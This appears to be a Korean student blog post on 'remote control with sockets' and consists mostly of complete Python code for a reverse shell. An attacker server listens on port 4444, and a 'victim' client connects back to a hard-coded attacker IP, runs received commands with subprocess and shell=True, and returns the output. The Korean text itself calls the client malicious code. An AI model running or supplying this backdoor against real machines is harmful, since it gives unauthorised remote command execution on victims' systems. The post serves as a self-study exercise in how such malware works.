학사 나부랭이
Network - Remote control with sockets 본문
# server(Attacker)
import socket
def setSock(ip, port): # gives socket stream to use TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((ip, port))
s.listen(1)
conn, addr = s.accept()
return conn, addr
def command(conn, addr): # send command to client
print("[+] Connected to", addr)
while True:
command = input(">")
if command == "exit":
conn.send(b"exit")
conn.close()
break
elif command == "":
print("Input command!")
else:
conn.send(command.encode())
output = conn.recv(65535) # receive command from client by recv buffer
print(
output.decode("euc-kr", "ignore"), end=""
) # decode received data and print
if __name__ == "__main__":
ip = "0.0.0.0" # 0.0.0.0 can binding with any local address
port = 4444
conn, addr = setSock(ip, port)
command(conn, addr)
서버에서 소켓을 열고 클라이언트 즉, 피해자를 기다리는 것을 알 수 있죠.
# client(Victim)
import socket
import subprocess
import os
def set_sock(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.connect((ip, port))
return s
def connect_cnc(s):
while True:
cwd = os.getcwd() # return current working directory
command = s.recv(65535).decode().lower()
if command == "exit":
s.close()
break
elif command == "pwd": # if server sends pwd command
s.send(cwd.encode("utf-8")) # return current working directory
continue
try:
if command.startswith("cd"): # if cd command,
os.chdir(command[3:].replace("\n", "")) # change directory
command = ""
cwd = os.getcwd() # get current working directory
s.send(cwd.encode("euc-kr")) # print cwd
continue
except Exception as e: # if directory did not exist
s.send(str(e).encode("euc-kr", "ignore"))
proc = subprocess.Popen( # make new process and manage
command,
shell=True,
stdout=subprocess.PIPE, # pipe is turnel that processes can communicate with others
stderr=subprocess.PIPE,
stdin=subprocess.PIPE,
) # command(var) result's standard output, in, error
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
if __name__ == "__main__":
ip = "192.168.0.9" # Attacker's IP adderss
port = 4444
s = set_sock(ip, port)
connect_cnc(s)
해당 코드에서 클라이언트가 서버로 연결을 시도하는 것을 볼 수 있어요. 즉, 피해자가 공격자로 연결을 시도하는 악성 코드라고 할 수 있죠.
File Descriptor | 역할 | stdio 스트림 |
0 | 표준 입력 | stdin |
1 | 표준 출력 | stdout |
2 | 표준 에러 | stderr |
'自習 > 実習' 카테고리의 다른 글
Network - File transfer (0) | 2021.07.03 |
---|---|
Kali Linux - Opening (0) | 2021.05.14 |
reset the root's password of ESXi 6.0.0 (0) | 2021.05.11 |
Comments